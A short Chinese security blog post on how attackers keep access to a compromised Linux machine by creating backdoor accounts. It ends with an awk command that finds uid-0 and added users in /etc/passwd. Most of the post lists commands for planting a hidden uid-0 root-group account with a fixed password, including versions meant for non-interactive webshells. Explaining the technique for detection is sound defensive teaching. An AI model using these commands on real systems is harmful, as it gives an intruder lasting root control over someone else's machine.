Linux系统账户后门及排查
2022-10-7 08:3:1 Author: 雾晓安全(查看原文) 阅读量:15 收藏

系统账户后门是一种最为简单有效的权限维持方式。攻击者在获取目标系统权限的前提下,通过创建一个系统账户作为持久化的据点,这样可以随时通过工具连接到目标系统,达到对目标主机进行长久控制的目的。根据获取的shell模式不同,创建系统账户的方式也不同,通常shell模式可以分为交互模式和非交互模式两种情况:

(1)当shell为交互模式时创建系统账户

当获取到目标系统的shell权限具有交互模式时,攻击者和目标系统可以进行数据交互,就可以根据系统反馈的提示信息创建系统账户和设置登录口令。如下我们可以使用usersdd和passwd指令创建test账户并对该账户设置登录口令。

useradd test  #添加test账户passwd test   #给test账户设置登录口令

也可以将test账户写入到/etc/passwd文件,然后通过passwd指令设置test系统账户的口令。

echo "test:x:0:0::/:/bin/sh" >>/etc/passwd   #添加test账户passwdtest                            #给test账户设置登录口令

(2)当shell为非交互模式时创建系统账户

当获取到目标系统的shell权限为非交互模式时,比如:webshell等,不能获取到系统的提示信息,也不能使用vim、vi等编辑工具时,就不能直接通过passwd指令设置登录口令了。此时,我们可以使用useradd创建test用户,使用` ` 符号是存放可执行的系统命令,设置该用户的登录口令。

useradd -p `openssl passwd -1 -salt 'salt' 123456` test

通过useradd指令创建一个test系统账户,然后通过“echo -e“指令设置test系统账户的口令。

useradd test;echo -e "123456\n123456\n" |passwd test

通过useradd指令创建一个test系统账户,"$()"也可以存放命令执行语句,设置该用户的登录口令。

useradd -p "$(openssl passwd -1 123456)" test

如下是在root组创建一个test用户,设置该test用户的登录口令为123456,-u 0表示设置该用户的uid为0,-g root -G root 将用户添加到root组,-s /bin/bash 指定新建用户的shell路径。

useradd -p `openssl passwd -1 -salt 'salt' 123456` test -o -u 0 -g root -G root -s /bin/bash -d /home/test

查询当前Linux系统隐藏的系统账户后门,可以通过查询/etc/passwd文件中的新增的潜藏用户,也可以通过awk指令查询uid=0和uid>=500的用户名,如图3-1-2 awk指令查询用户名。

awk -F : '($3>=500 || $3==0){print $1}' /etc/passwd

- 往期推荐 -

Linux常见的持久化后门汇总


文章来源: http://mp.weixin.qq.com/s?__biz=Mzg2NDM2MTE5Mw==&mid=2247495731&idx=1&sn=a593e8db3741cfbc60306aa6a97ffc34&chksm=ce683fb5f91fb6a3b111ca343476f018f3a4660e6a5324f39685294da2f27e4f25bc75f0b99e#rd
如有侵权请联系:admin#unsafe.sh